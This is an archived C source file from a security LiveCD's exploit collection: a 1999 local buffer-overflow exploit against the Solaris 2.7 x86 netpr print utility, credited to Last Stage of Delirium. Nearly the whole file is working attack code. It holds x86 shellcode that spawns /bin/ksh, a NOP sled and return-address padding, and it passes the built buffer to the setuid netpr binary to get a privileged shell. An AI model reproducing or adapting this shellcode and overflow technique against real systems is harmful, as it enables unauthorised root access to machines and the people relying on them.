home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / netpr.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  66 lines

  1. /*## copyright LAST STAGE OF DELIRIUM dec 1999 poland        *://lsd-pl.net/ #*/
  2. /*## /usr/lib/lp/bin/netpr                                                   #*/
  3.  
  4. /*   requires to specify the address of a host with 515 port opened           */
  5.  
  6. #include <fcntl.h>
  7.  
  8. #define NOPNUM 900
  9. #define ADRNUM 104
  10. #define ALLIGN 1
  11.  
  12. char shellcode[]=
  13.     "\xeb\x1b"             /* jmp     <shellcode+30>       */
  14.     "\x33\xd2"             /* xorl    %edx,%edx            */
  15.     "\x58"                 /* popl    %eax                 */
  16.     "\x8d\x78\x14"         /* leal    0x14(%eax),edi       */
  17.     "\x52"                 /* pushl   %edx                 */
  18.     "\x57"                 /* pushl   %edi                 */
  19.     "\x50"                 /* pushl   %eax                 */
  20.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  21.     "\x92"                 /* xchgl   %eax,%edx            */
  22.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  23.     "\x88\x42\x08"         /* movb    %al,0x8(%edx)        */
  24.     "\x83\xef\x3c"         /* subl    $0x3c,%edi           */
  25.     "\xb0\x9a"             /* movb    $0x9a,%al            */
  26.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  27.     "\x47"                 /* incl    %edi                 */
  28.     "\xb0\x07"             /* movb    $0x7,%al             */
  29.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  30.     "\xb0\x3b"             /* movb    $0x3b,%al            */
  31.     "\xe8\xe0\xff\xff\xff" /* call    <shellcode+2>        */
  32.     "/bin/ksh"
  33. ;
  34.  
  35. char jump[]=
  36.     "\x8b\xc4"             /* movl    %esp,%eax            */
  37.     "\xc3"                 /* ret                          */
  38. ;
  39.  
  40. main(int argc,char **argv){
  41.     char buffer[10000],adr[4],*b,*envp[2];
  42.     int i;
  43.  
  44.     printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland  //lsd-pl.net/\n");
  45.     printf("/usr/lib/lp/bin/netpr for solaris 2.7 x86\n\n");
  46.  
  47.     if(argc==1){
  48.         printf("usage: %s lpserver\n",argv[0]);
  49.         exit(-1);
  50.     }
  51.  
  52.     *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+8388+128;
  53.  
  54.     dup2(open("/dev/zero",O_RDWR,0),10);
  55.  
  56.     b=buffer;
  57.     for(i=0;i<ALLIGN;i++) *b++=0xff;
  58.     for(i=0;i<NOPNUM;i++) *b++=0x90;
  59.     for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
  60.     for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
  61.     *b=0;
  62.  
  63.     execle("/usr/lib/lp/bin/netpr","lsd","-I","bzz-z","-U","x!x","-d",argv[1],
  64.         "-p",buffer,"/bin/sh",0,0);
  65. }
  66. /*                    www.hack.co.za           [10 August 2000]*/